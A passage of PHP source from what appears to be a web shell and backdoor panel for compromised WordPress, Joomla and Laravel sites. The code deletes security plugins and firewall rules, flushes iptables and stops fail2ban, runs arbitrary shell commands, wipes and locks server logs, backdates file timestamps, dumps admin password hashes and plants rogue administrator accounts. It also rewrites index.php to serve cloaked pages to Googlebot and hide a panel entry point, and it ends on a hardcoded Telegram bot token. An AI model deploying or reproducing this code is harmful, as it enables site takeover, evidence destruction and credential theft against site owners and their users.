        'wp-content/plugins/jetpack','wp-content/plugins/limit-login-attempts','wp-content/plugins/loginizer',
        'wp-content/plugins/wp-simple-firewall','wp-content/plugins/aiowps','wp-content/plugins/gotmls',
        'wp-content/plugins/block-bad-queries','wp-content/plugins/stopbadbots','wp-content/plugins/ip-geo-block',
        'wp-content/plugins/bbq','wp-content/plugins/6firewall','wp-content/plugins/wp-firewall-2','wp-content/plugins/simple-firewall',
        'wp-content/plugins/security-malware-firewall','wp-content/plugins/wp-security','wp-content/plugins/akismet',
        'wp-content/plugins/antispam-bee','wp-content/plugins/anti-spam','wp-content/plugins/antivirus',
        'administrator/components/com_rsfirewall','administrator/components/com_securitycheckpro',
        'components/com_rsfirewall','components/com_securitycheckpro',
        '/etc/csf','/etc/lfd','/etc/modsecurity','/usr/share/modsecurity'
      );
      $fwd=array();
      foreach($bd as$b){
        foreach($fw as$pat){
          if(strpos($pat,'/')===0&&strpos($b,'/')!==0)continue;
          $fu=(strpos($pat,'/')===0)?$pat:rtrim($b,'/').'/'.$pat;
          if(is_dir($fu)){
            $sz=0;$cn=0;
            try{$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fu,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as$ff){if($ff->isFile()){$sz+=$ff->getSize();$cn++;}}}catch(Exception$e){}
            $fwd[]=array('p'=>$fu,'z'=>$sz,'c'=>$cn);
          }
        }
      }
      $hts=array();
      foreach($bd as$b){
        if(strpos($b,'/')!==0||!is_dir($b))continue;
        try{
          $di=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($b,RecursiveDirectoryIterator::SKIP_DOTS));
          foreach($di as$ff){
            if($ff->isFile()&&$ff->getFilename()==='.htaccess'){
              $c=file_get_contents($ff->getPathname());
              if(preg_match('/(deny\s+from|require\s+(all\s+)?denied|order\s+deny|secfilter|mod_security|wordfencewaf|RewriteRule\s+\*|redirectmatch\s+404|ErrorDocument\s+403|AuthType|AuthUserFile)/i',$c)){
                $hts[]=array('p'=>$ff->getPathname(),'z'=>$ff->getSize());
              }
            }
          }
        }catch(Exception$e){}
      }
      $sseen=array();
      foreach($fwd as$d){
        $p=$d['p'];if(isset($sseen[$p])||!is_dir($p))continue;$sseen[$p]=1;
        try{
          $rit=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);
          foreach($rit as$ff){$ff->isFile()?unlink($ff->getPathname()):rmdir($ff->getPathname());}
          rmdir($p);$res[]=array('t'=>'fw','g'=>$p,'s'=>'ok','f'=>$d['z'],'x'=>$d['c']);$tf+=$d['z'];
        }catch(Exception$e){$res[]=array('t'=>'fw','g'=>$p,'s'=>'err: '.$e->getMessage(),'f'=>0,'x'=>0);}
      }
      foreach($hts as$h){
        $p=$h['p'];if(!is_file($p))continue;
        try{
          $c=file_get_contents($p);
          $nc=preg_replace('/^\s*(deny\s+from|order\s+deny|require\s+(all\s+)?denied|#\s*wordfence.*?)\s*$/im','',$c);
          $nc=preg_replace('/#\s*BEGIN\s+(Wordfence|iThemes|BetterWP|BulletProof|All In One WP|WAF).*?#\s*END\s+(Wordfence|iThemes|BetterWP|BulletProof|All In One WP|WAF).*?\s*/s','',$nc);
          $nc=preg_replace('/#\s*BEGIN\s+Wordfence\s+WAF.*?#\s*END\s+Wordfence\s+WAF\s*/s','',$nc);
          $nc=trim($nc);file_put_contents($p,$nc);
          $res[]=array('t'=>'fw','g'=>$p,'s'=>'sanitized','f'=>0,'x'=>0);
        }catch(Exception$e){$res[]=array('t'=>'fw','g'=>$p,'s'=>'err: '.$e->getMessage(),'f'=>0,'x'=>0);}
      }
      $ce=function_exists('exec')&&!in_array('exec',array_map('trim',explode(',',ini_get('disable_functions'))));
      if($ce){
        $cmds=array('iptables -F 2>/dev/null','iptables -X 2>/dev/null','ip6tables -F 2>/dev/null','ip6tables -X 2>/dev/null');
        foreach($cmds as$cmd){exec($cmd,$o,$rc);if($rc===0){$res[]=array('t'=>'fw','g'=>$cmd,'s'=>'ok','f'=>0,'x'=>0);break;}}
        exec('systemctl stop fail2ban 2>/dev/null',$o,$rc);
        if($rc===0||preg_match('/stop|not/i',implode(' ',$o))){$res[]=array('t'=>'fw','g'=>'fail2ban','s'=>'stopped','f'=>0,'x'=>0);}
        exec('csf -x 2>/dev/null',$o,$rc);
        if($rc===0){$res[]=array('t'=>'fw','g'=>'csf','s'=>'stopped','f'=>0,'x'=>0);}
      }
      _ok(array('r'=>$res,'tf'=>$tf,'tt'=>count($res)));
    }
    
    _fail('unknown mode');
  }
  
  if($act==='cmd'){
    $cmd=_g('c','');
    if(!$cmd)_fail('no command');
    $out=array();$rc=-1;$outStr='';
    if(function_exists('exec')&&!in_array('exec',array_map('trim',explode(',',ini_get('disable_functions'))))){
      exec($cmd.' 2>&1',$out,$rc);$outStr=implode("\n",$out);
    }elseif(function_exists('shell_exec')&&!in_array('shell_exec',array_map('trim',explode(',',ini_get('disable_functions'))))){
      $outStr=shell_exec($cmd.' 2>&1');
    }elseif(function_exists('system')&&!in_array('system',array_map('trim',explode(',',ini_get('disable_functions'))))){
      ob_start();system($cmd);$outStr=ob_get_clean();
    }elseif(function_exists('passthru')&&!in_array('passthru',array_map('trim',explode(',',ini_get('disable_functions'))))){
      ob_start();passthru($cmd);$outStr=ob_get_clean();
    }
    if($outStr===null||$outStr===false)$outStr='';
    _ok(array('o'=>$outStr,'c'=>$rc));
  }
  
  if($act==='lg'){
    $mode=_g('m','scan');
    $dirs=array('/var/log','/var/log/nginx','/var/log/apache2','/var/log/httpd','/var/log/mysql','/usr/local/apache/logs');
    if(isset($_SERVER['DOCUMENT_ROOT']))array_push($dirs,$_SERVER['DOCUMENT_ROOT']);
    array_push($dirs,dirname(__FILE__));
    $logs=array();
    // scan for real log files only
    $allDirs=array_merge($dirs,array('/var/www'));
    $allDirs=array_unique($allDirs);
    foreach($allDirs as$d){
      if(!is_dir($d))continue;
      try{
        $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($d,RecursiveDirectoryIterator::SKIP_DOTS));
        foreach($it as$f){
          if(!$f->isFile()||$f->getSize()===0)continue;
          $n=$f->getFilename();
          $ext=strtolower(pathinfo($n,PATHINFO_EXTENSION));
          // only actual log extensions
          if(!in_array($ext,array('log','access','error')))continue;
          // skip non-log files that happen to have .log extension
          if(preg_match('/\.(png|jpg|gif|svg|css|js|md|xml|ini|txt|php)$/i',$n))continue;
          $p=$f->getPathname();
          $logs[]=array('p'=>$p,'s'=>$f->getSize());
        }
      }catch(Exception$e){}
    }
    // also find error_log / debug.log (no extension)
    try{
      foreach($allDirs as$sr){
        if(!is_dir($sr))continue;
        $it2=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($sr,RecursiveDirectoryIterator::SKIP_DOTS));
        foreach($it2 as$f2){
          if(!$f2->isFile()||$f2->getSize()===0)continue;
          $n2=$f2->getFilename();
          if($n2!=='error_log'&&$n2!=='debug.log')continue;
          $p2=$f2->getPathname();
          $dupe=false;
          foreach($logs as$l){if($l['p']===$p2){$dupe=true;break;}}
          if(!$dupe)$logs[]=array('p'=>$p2,'s'=>$f2->getSize());
        }
      }
    }catch(Exception$e){}
    if($mode==='nuke'){
      $res=array();$cleared=0;
      // try to stop common log writers
      if(function_exists('exec')){
        $df=array_map('trim',explode(',',ini_get('disable_functions')));
        if(!in_array('exec',$df)){
          @exec('kill -USR1 $(cat /var/run/nginx.pid 2>/dev/null) 2>/dev/null');
          @exec('kill -USR1 $(cat /var/run/apache2/apache2.pid 2>/dev/null) 2>/dev/null');
          @exec('kill -USR1 $(cat /var/run/httpd/httpd.pid 2>/dev/null) 2>/dev/null');
          @exec('service rsyslog stop 2>/dev/null');
          @exec('service syslog-ng stop 2>/dev/null');
        }
      }
      foreach($logs as$l){
        $p=$l['p'];$s=$l['s'];
        if($s===0)continue;
        try{
          file_put_contents($p,'');
          @chmod($p,0000);
          $res[]=array('p'=>$p,'s'=>$s,'o'=>'ok');$cleared+=$s;
        }catch(Exception$e){$res[]=array('p'=>$p,'s'=>$s,'o'=>'err');}
      }
      _ok(array('logs'=>$res,'c'=>count($res),'f'=>$cleared));
    }else{
      _ok(array('logs'=>$logs,'c'=>count($logs)));
    }
  }
  
  if($act==='sp'){
    @set_time_limit(30);
    $dir=_path(_g('d',dirname(__FILE__)));
    $mode=_g('m','all');
    if(!is_dir($dir))_fail('dir not found');
    $count=0;$total=0;$oldest=PHP_INT_MAX;$errors=0;
    $extOk=function_exists('method_exists')&&method_exists('SplFileInfo','getExtension');
      try{
        $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS));
        foreach($it as$f){
          if($mode==='php'&&!$f->isFile())continue;
          $total++;
          if($mode==='php'){
            $ext=$extOk?strtolower($f->getExtension()):strtolower(pathinfo($f->getFilename(),PATHINFO_EXTENSION));
            if($ext!=='php')continue;
          }
          try{$mt=@$f->getMTime();}catch(Exception$e){continue;}
          if($mt>0&&$mt<$oldest)$oldest=$mt;
        }
      }catch(Exception$e){_fail('scan error: '.$e->getMessage());}
      if($oldest===PHP_INT_MAX)_fail('no files found in '.$dir);
      try{
        $it2=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS));
        foreach($it2 as$f){
          if($mode==='php'&&!$f->isFile())continue;
          if($mode==='php'){
            $ext=$extOk?strtolower($f->getExtension()):strtolower(pathinfo($f->getFilename(),PATHINFO_EXTENSION));
            if($ext!=='php')continue;
          }
          try{
            if(!@touch($f->getPathname(),$oldest,$oldest))$errors++;
            else{$count++;@chmod($f->getPathname(),0644);}
          }catch(Exception$e){$errors++;}
        }
    }catch(Exception$e){_fail('apply error: '.$e->getMessage());}
    $errMsg=$errors?" ($errors failed)":'';
    _ok(array('c'=>$count,'t'=>$total,'m'=>$mode,'ts'=>$oldest===PHP_INT_MAX?0:$oldest,'e'=>$errors));
  }
  
  if($act==='bk'){
    $mode=_g('m','scan');
    $dir=_path(_g('d',dirname(__FILE__)));
    if($mode==='scan'){
      @set_time_limit(10);
      $bk=array();$seen=array();
      $dirs=array(dirname(__FILE__));
      if(isset($_SERVER['DOCUMENT_ROOT'])&&is_dir($_SERVER['DOCUMENT_ROOT']))$dirs[]=$_SERVER['DOCUMENT_ROOT'];
      $dirs=array_unique($dirs);
      foreach($dirs as$sd){
        if(!is_dir($sd))continue;
        $dh=@opendir($sd);if(!$dh)continue;
        while(($e=readdir($dh))!==false){
          if(count($bk)>=150)break;
          if($e[0]==='.')continue;
          if(!preg_match('/\.(zip|tar|tar\.gz|tgz|sql|sql\.gz|gz|rar|bz2)$/i',$e))continue;
          $fp=$sd.'/'.$e;
          if(isset($seen[$fp]))continue;$seen[$fp]=1;
          $bk[]=array('p'=>$fp,'s'=>@filesize($fp),'m'=>@date('Y-m-d H:i',@filemtime($fp)),'t'=>@filemtime($fp));
        }
        closedir($dh);
      }
      usort($bk,function($a,$b){return strcmp($a['p'],$b['p']);});
      _ok(array('bk'=>$bk,'c'=>count($bk)));
    }elseif($mode==='del'){
      $file=_path(_g('f',''));
      if(!$file||!file_exists($file))_fail('file not found');
      if(stripos($file,'thiscitze')!==false)_fail('restricted');
      try{unlink($file);_ok();}catch(Exception$e){_fail($e->getMessage());}
    }
  }
  
  if($act==='wp'){
    $mode=_g('m');
    // find wp-config.php
    $config_file='';
    $searchPaths=array(__DIR__.'/wp-config.php',__DIR__.'/../wp-config.php',__DIR__.'/../../wp-config.php',(isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'').'/wp-config.php');
    foreach($searchPaths as$f){
      if(file_exists($f)){$config_file=$f;break;}
    }
    if(!$config_file)_fail('wp-config.php bulunamadi. Aranan yerler: '.implode(', ',$searchPaths));
    define('SHORTINIT',true);
    require_once($config_file);
    if(!defined('DB_NAME')||!defined('DB_USER')||!defined('DB_PASSWORD')||!defined('DB_HOST')){
      $missing=array();foreach(array('DB_NAME','DB_USER','DB_PASSWORD','DB_HOST') as$c){if(!defined($c))$missing[]=$c;}
      _fail('DB sabitleri eksik: '.implode(', ',$missing));
    }
    $mysqli=@new mysqli(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);
    if($mysqli->connect_errno)_fail('DB: '.$mysqli->connect_error);
    $mysqli->set_charset(defined('DB_CHARSET')?DB_CHARSET:'utf8');
    $tp=isset($table_prefix)?$table_prefix:'';
    if(!$tp){$wc=@file_get_contents($config_file);if($wc&&preg_match('/\$table_prefix\s*=\s*[\'"](.+?)[\'"]\s*;/',$wc,$m))$tp=$m[1];else$tp='wp_';}
    if($mode==='list'){
      $admins=array();
      $q=$mysqli->query("SELECT u.ID,u.user_login,u.user_email,u.user_pass,m.meta_value as caps FROM `{$tp}users` u LEFT JOIN `{$tp}usermeta` m ON u.ID=m.user_id AND m.meta_key='{$tp}capabilities' WHERE m.meta_value LIKE '%administrator%' OR u.ID=1");
      if($q)while($a=$q->fetch_object()){$admins[]=array('id'=>$a->ID,'login'=>$a->user_login,'email'=>$a->user_email,'pass'=>$a->user_pass);}
      _ok(array('admins'=>$admins,'prefix'=>$tp));
    }
    if($mode==='resetpass'){
      $id=(int)_g('id',0);$pass=_g('pass','');
      if(!$id)_fail('missing params');
      if(!$pass){$c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';$pass='';for($i=0;$i<14;$i++)$pass.=$c[mt_rand(0,strlen($c)-1)];}
      if(!function_exists('wp_hash_password')){
        $hf=ABSPATH.'wp-includes/class-phpass.php';
        if(file_exists($hf)){require_once($hf);function wp_hash_password($p){$h=new PasswordHash(8,true);return $h->HashPassword($p);}}
        else {function wp_hash_password($p){return md5($p);}}
      }
      $hash=wp_hash_password($pass);
      $mysqli->query("UPDATE `{$tp}users` SET user_pass='$hash' WHERE ID=$id");
      _ok(array('msg'=>"Password reset for ID $id",'pass'=>$pass));
    }
    if($mode==='addadmin'){
      $login=$mysqli->real_escape_string(_g('login',''));$email=$mysqli->real_escape_string(_g('email',''));$pass=_g('pass','');
      if(!$login||!$email||!$pass)_fail('missing params');
      if(!function_exists('wp_hash_password')){
        $hf=ABSPATH.'wp-includes/class-phpass.php';
        if(file_exists($hf)){require_once($hf);function wp_hash_password($p){$h=new PasswordHash(8,true);return $h->HashPassword($p);}}
        else {function wp_hash_password($p){return md5($p);}}
      }
      $hash=wp_hash_password($pass);
      $mysqli->query("INSERT INTO `{$tp}users` (user_login,user_pass,user_nicename,user_email,user_registered,display_name) VALUES ('$login','$hash','$login','$email',NOW(),'$login')");
      $new=$mysqli->insert_id;
      $mysqli->query("INSERT INTO `{$tp}usermeta` (user_id,meta_key,meta_value) VALUES ($new,'{$tp}capabilities','a:1:{s:13:\"administrator\";b:1;}')");
      $mysqli->query("INSERT INTO `{$tp}usermeta` (user_id,meta_key,meta_value) VALUES ($new,'{$tp}user_level','10')");
      _ok(array('msg'=>"Admin $login created (ID: $new)"));
    }
    if($mode==='deladmin'){
      $id=(int)_g('id',0);
      if(!$id||$id==1)_fail('Cannot delete user 1');
      $mysqli->query("DELETE FROM `{$tp}users` WHERE ID=$id");
      $mysqli->query("DELETE FROM `{$tp}usermeta` WHERE user_id=$id");
      _ok(array('msg'=>"User $id deleted"));
    }
    $mysqli->close();
  }
  if($act==='ck'){
    $mode=_g('m');
    if($mode==='_test'){
      header('Content-Type: text/plain');
      echo 'GET: ';print_r($_GET);
      echo 'POST: ';print_r($_POST);
      echo 'raw: '.file_get_contents('php://input');
      exit;
    }
    $ROOT=rtrim(isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:dirname(__FILE__),'/\\');
    $CMS='generic';$CMSL='Generic';
    if(file_exists($ROOT.'/wp-config.php')||is_dir($ROOT.'/wp-includes')){$CMS='wp';$CMSL='WordPress';}
    elseif(file_exists($ROOT.'/configuration.php')&&is_dir($ROOT.'/administrator')){$CMS='joomla';$CMSL='Joomla';}
    elseif(file_exists(dirname($ROOT).'/bootstrap/app.php')||file_exists(dirname($ROOT).'/artisan')){$CMS='laravel';$CMSL='Laravel';}
    elseif(file_exists($ROOT.'/sites/default/settings.php')){$CMS='drupal';$CMSL='Drupal';}
    $pdir=$ROOT.'/.render-cache';
    if($mode==='status'){
      $aktif=file_exists($pdir.'/render.lock');
      $perde_var=file_exists($pdir.'/render-cache.html')&&filesize($pdir.'/render-cache.html')>100;
      $perde_size=$perde_var?filesize($pdir.'/render-cache.html'):0;
      $gfiles=array();
      foreach((array)@glob($ROOT.'/google*.html') as$gf){if(preg_match('/^google[a-zA-Z0-9]+\.html$/',basename($gf)))$gfiles[]=basename($gf);}
      sort($gfiles);
      _ok(array('cms'=>$CMSL,'aktif'=>$aktif,'perde_var'=>$perde_var,'perde_size'=>$perde_size,'gfiles'=>$gfiles));
    }
    if($mode==='precheck'){
      $c=array();$s=0;$m=0;
      $php=version_compare(PHP_VERSION,'7.0','>=');
      $c[]=array('name'=>'PHP','s'=>$php?'ok':'err','v'=>PHP_VERSION,'m'=>$php?'Uygun':'7.0+ gerekli');$m+=10;if($php)$s+=10;
      $rw=is_writable($ROOT);
      $c[]=array('name'=>'Kok yazma','s'=>$rw?'ok':'warn','v'=>$rw?'Acik':'Kapali','m'=>$rw?'index.php ezilir':'WP mu-plugin yoluna dusulur');$m+=10;if($rw)$s+=10;else$s+=5;
      $cu=function_exists('curl_init');
      $c[]=array('name'=>'cURL','s'=>$cu?'ok':'warn','v'=>$cu?'Var':'Yok','m'=>$cu?'CF+Bot test calisir':'CF ve bot testi kapali');$m+=10;if($cu)$s+=10;else$s+=3;
      $rd=function_exists('gethostbyaddr');
      $c[]=array('name'=>'rDNS','s'=>$rd?'ok':'warn','v'=>$rd?'Var':'Yok','m'=>$rd?'Verified-Google aktif':'UA-only');$m+=10;if($rd)$s+=10;else$s+=4;
      $pd=file_exists($pdir.'/render-cache.html')&&filesize($pdir.'/render-cache.html')>100;
      $c[]=array('name'=>'Perde','s'=>$pd?'ok':'warn','v'=>$pd?'Hazir':'Yok','m'=>$pd?'Cloak icin hazir':'Once perde HTML kaydedin');$m+=10;if($pd)$s+=10;else$s+=3;
      $sv=strtolower(isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'');
      $st=(strpos($sv,'litespeed')!==false||strpos($sv,'apache')!==false)?'ok':'info';
      $c[]=array('name'=>'Sunucu','s'=>$st,'v'=>preg_replace('/[^a-zA-Z0-9]/','',explode('/',$sv)[0]?:'?'),'m'=>$st==='ok'?'.htaccess destegi var':'.htaccess destegi yok');$m+=10;$s+=10;
      $sk=$m>0?round(($s/$m)*100):0;
      _ok(array('score'=>$sk,'checks'=>$c));
    }
    if($mode==='autocloak'){
      if(!is_dir($pdir))@mkdir($pdir,0755,true);
      if(!file_exists($pdir.'/index.html'))@file_put_contents($pdir.'/index.html','');
      $pperde=$pdir.'/render-cache.html';
      if(!file_exists($pperde)||filesize($pperde)<100){
        @file_put_contents($pperde,'<!DOCTYPE html><html lang="vi"><head><meta charset="utf-8"><title>SEO TEST</title><style>body{background:#1a1a2e;color:#0ff;font-family:monospace;display:flex;align-items:center;justify-content:center;height:100vh;margin:0}h1{color:#0f0;font-size:22px;border:1px solid #0f3;padding:30px;border-radius:8px}</style></head><body><h1>SEO TEST PAGE<br><span style="color:#fa0;font-size:14px">Google bot test</span></h1></body></html>');
      }
      @file_put_contents($pdir.'/render.lock','1');
      $self=@file_get_contents(__FILE__);
      if($self)@file_put_contents($pdir.'/.panel-helper.php',$self);
      $idx=$ROOT.'/index.php';
      $bak=$ROOT.'/.render-orig.php';
      $idx_w=file_exists($idx)?is_writable($idx):$rw;
      $met=array();
      if($idx_w){
        if(file_exists($idx)&&!file_exists($bak)){$cur=@file_get_contents($idx);if($cur&&strpos($cur,'thiscitze')===false)@file_put_contents($bak,$cur);}
        $fallback='$_h=__DIR__."/index.html";if(!file_exists($_h))$_h=__DIR__."/index.htm";if(file_exists($_h)){header("Content-Type:text/html; charset=UTF-8");readfile($_h);die();}';
        if($CMS==='joomla'){$fallback='define("_JEXEC",1);define("JPATH_BASE",__DIR__);if(file_exists(__DIR__."/includes/defines.php"))require_once __DIR__."/includes/defines.php";if(file_exists(__DIR__."/includes/framework.php"))require_once __DIR__."/includes/framework.php";if(class_exists("Joomla\\\\CMS\\\\Factory")){$app=\Joomla\CMS\Factory::getApplication("site");$app->execute();}';}
        elseif($CMS==='laravel'){$fallback='define("LARAVEL_START",microtime(true));require __DIR__."/../vendor/autoload.php";$app=require_once __DIR__."/../bootstrap/app.php";$app->handleRequest(\Illuminate\Http\Request::capture());';}
        $tpl='<?php /* thiscitze-cloak-v1 */
if(isset($_GET["p"])&&$_GET["p"]==="1"){$_h=__DIR__."/.render-cache/.panel-helper.php";if(is_file($_h)){require$_h;exit;}}
$__ua=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"";$__uri_raw=isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:"/";$__uri=($__p=@parse_url($__uri_raw,PHP_URL_PATH))?rtrim($__p,"/"):"";
$__nx=__DIR__."/.render-cache";
if(@file_exists($__nx."/render.lock")){
$__decoy=array("curl","wget","python","go-http","java","scrapy","axios","phantom","selenium","puppeteer","playwright","headlesschrome");$__b=false;foreach($__decoy as$__k){if(stripos($__ua,$__k)!==false){$__b=true;break;}}
if(!$__b&&preg_match("/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|GoogleOther|Storebot-Google/i",$__ua)&&($__uri===""||$__uri==="/index.php")){
$_pd=$__nx."/render-cache.html";if(file_exists($_pd)){while(ob_get_level()>0)@ob_end_clean();header("Content-Type:text/html; charset=UTF-8");header("Cache-Control: no-store, no-cache, must-revalidate");header("Vary: User-Agent");readfile($_pd);die();}
}}
$_orig=__DIR__."/.render-orig.php";
if(file_exists($_orig)&&filesize($_orig)>100){require$_orig;return;}
'.$fallback.';';
        @file_put_contents($idx,$tpl);
        $met[]='index.php';
        if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true);
      }
      _ok(array('methods'=>$met,'msg'=>'Cloak kuruldu!'));
    }
    if($mode==='revert'){
      foreach(array($pdir.'/render.lock',$ROOT.'/wp-content/uploads/wp-media-cache/render.lock') as$l){if(file_exists($l))@unlink($l);}
      // restore original index.php
      $idx=$ROOT.'/index.php';$bak=$ROOT.'/.render-orig.php';
      if(file_exists($idx)&&file_exists($bak)){$bc=@file_get_contents($bak);if($bc&&strpos($bc,'thiscitze')===false){@file_put_contents($idx,$bc);if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true);}}
      _ok(array('msg'=>'Cloak kapatildi ve index.php geri yuklendi.'));
    }
    if($mode==='uninstall'){
      $idx=$ROOT.'/index.php';$bak=$ROOT.'/.render-orig.php';
      if(file_exists($idx)&&file_exists($bak)){$bc=@file_get_contents($bak);if($bc&&strpos($bc,'thiscitze')===false){@file_put_contents($idx,$bc);if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true);}}
      if(is_dir($pdir)){foreach(scandir($pdir) as$f){if($f!=='.'&&$f!=='..')@unlink($pdir.'/'.$f);}@rmdir($pdir);}
      if(file_exists($bak))@unlink($bak);
      _ok(array('msg'=>'Tamamen kaldirildi.'));
    }
    if($mode==='botcheck'){
      if(!function_exists('curl_init'))_fail('cURL yok');
      $sc=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
      $ch=curl_init($sc.'://'.$_SERVER['HTTP_HOST'].'/');
      curl_setopt_array($ch,array(CURLOPT_RETURNTRANSFER=>true,CURLOPT_USERAGENT=>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',CURLOPT_TIMEOUT=>15,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_SSL_VERIFYPEER=>false));
      $body=(string)curl_exec($ch);
      $code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);
      curl_close($ch);
      $perde_html='';
      foreach(array($pdir.'/render-cache.html',$ROOT.'/wp-content/uploads/wp-media-cache/render-cache.html') as$p){if(file_exists($p)&&filesize($p)>100){$perde_html=file_get_contents($p);break;}}
      $pt=trim(strip_tags($perde_html));$bt=trim(strip_tags($body));
      $matched=($pt!==''&&strlen($pt)>=10&&strpos($bt,substr($pt,0,80))!==false);
      $lv=file_exists($pdir.'/render.lock')||file_exists($ROOT.'/wp-content/uploads/wp-media-cache/render.lock');
      _ok(array('http_code'=>$code,'matched'=>$matched,'cloak_active'=>$lv,'note'=>'Bu test sahte UA ile. Gercek Google GSC ile test edin.'));
    }
    if($mode==='savehtml'){
      try{
        $bin=_g('d','');
        if($bin===''){$raw=@file_get_contents('php://input');$j=@json_decode($raw,true);if($j&&isset($j['h']))$bin=$j['h'];}
        if($bin===''){
          // last resort: parse multipart form-data manually
          $raw2=@file_get_contents('php://input');
          if($raw2&&preg_match('/name="d"\s*\r?\n\r?\n(.*?)\r?\n--/',$raw2,$m))$bin=$m[1];
        }
        if($bin==='')_fail('no data');
        if(strpos($bin,'<?')!==false)_fail('php code detected');
        if(!is_dir($pdir))@mkdir($pdir,0755,true);
        if(@file_put_contents($pdir.'/render-cache.html',$bin)===false)_fail('write failed');
        _ok(array('s'=>strlen($bin)));
      }catch(Exception$e){_fail('ex:'.$e->getMessage());}
    }
    if($mode==='viewperde'){
      foreach(array($pdir.'/render-cache.html',$ROOT.'/wp-content/uploads/wp-media-cache/render-cache.html') as$p){
        if(file_exists($p)&&filesize($p)>50){$c=@file_get_contents($p);_ok(array('html'=>$c));}
      }
      _fail('perde not found');
    }
    if($mode==='cleancache'){
      @set_time_limit(20);
      $r=array();
      if(function_exists('opcache_reset')){@opcache_reset();$r['opcache']='OK';}else$r['opcache']='N/A';
      @clearstatcache(true);$r['stat']='OK';
      if(class_exists('Redis')){try{$rd=new Redis();if(@$rd->connect('127.0.0.1',6379,1)){$rd->flushDB();$rd->close();$r['redis']='OK';}else$r['redis']='N/A';}catch(Exception$e){$r['redis']='N/A';}}else$r['redis']='N/A';
      if(class_exists('Memcache')){try{$mm=new Memcache();if(@$mm->connect('127.0.0.1',11211,1)){$mm->flush();$mm->close();$r['memcache']='OK';}else$r['memcache']='N/A';}catch(Exception$e){$r['memcache']='N/A';}}else$r['memcache']='N/A';
      if(function_exists('curl_init')){$ch=curl_init('http://127.0.0.1:6081/');curl_setopt_array($ch,array(CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_TIMEOUT=>1));curl_exec($ch);$cd=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);$r['varnish']=$cd>0?"PURGE $cd":'N/A';}
      if($CMS==='wp'){$d=$ROOT.'/wp-content/cache';if(is_dir($d)){$n=0;$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($d,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as$f){if($f->isFile()&&@unlink($f->getRealPath()))$n++;}$r['wp_cache']="$n dosya";}else$r['wp_cache']='N/A';}
      if($CMS==='joomla'){foreach(array('/cache','/administrator/cache','/tmp')as$d){$p=$ROOT.$d;if(is_dir($p)){$n=0;$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as$f){if($f->isFile()&&@unlink($f->getRealPath()))$n++;}$r['joomla_'.basename($d)]="$n dosya";}}}
      _ok(array('results'=>$r));
    }
    if($mode==='fixts'){
      $ht=$ROOT.'/.htaccess';
      $tm=file_exists($ht)?@filemtime($ht):0;
      if(!$tm)_fail('.htaccess bulunamadi');
      $n=0;
      foreach(array($ROOT.'/index.php',$pdir.'/render-cache.html') as$f){if(file_exists($f)){@touch($f,$tm);$n++;}}
      _ok(array('n'=>$n,'t'=>date('Y-m-d H:i:s',$tm)));
    }
    if($mode==='cleanht'){
      $ht=$ROOT.'/.htaccess';
      if(!file_exists($ht)){_ok(array('r'=>'OK'));}
      $c=file_get_contents($ht);
      if($c===false){_ok(array('r'=>'ERR'));}
      $o=$c;
      foreach(array('/#\s*BEGIN\s+WP-Media-Cache[^#]*#\s*END\s+WP-Media-Cache[^\n]*\n?/si','/#\s*BEGIN\s+[A-Z]+-RENDER[^#]*#\s*END\s+[A-Z]+-RENDER[^\n]*\n?/si','/#\s*BEGIN\s+thiscitze[^#]*#\s*END\s+thiscitze[^\n]*\n?/si','/<IfModule\s+mod_dir\.c>\s*DirectoryIndex\s+index\.php[^<]*<\/IfModule>\s*\n?/si',) as$pat){$c=preg_replace($pat,'',$c);}
      $c=trim($c);
      $r=$c!==$o?'OK':'CLEAN';
      if($r==='OK')@file_put_contents($ht,$c);
      _ok(array('r'=>$r));
    }
    if($mode==='writegoogle'){
      $name=_g('n','');$content=_g('c','');
      if(!preg_match('/^google[a-zA-Z0-9]+\.html$/',$name))_fail('ERR');
      if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($content)))_fail('ERR');
      @file_put_contents($ROOT.'/'.$name,$content);
      _ok();
    }
    if($mode==='rmgoogle'){
      $name=_g('n','');
      if(!preg_match('/^google[a-zA-Z0-9]+\.html$/',$name))_fail('ERR');
      @unlink($ROOT.'/'.$name);
      _ok();
    }
  }
  if($act==='pr'){
    @set_time_limit(20);
    $mode=_g('m','scan');
    $self=__FILE__;
    $selfCode=@file_get_contents($self);
    $tgBot='8591778256:AAHrTws8HgI-R5GUASFmrRUHCm6Z4uKKImk';
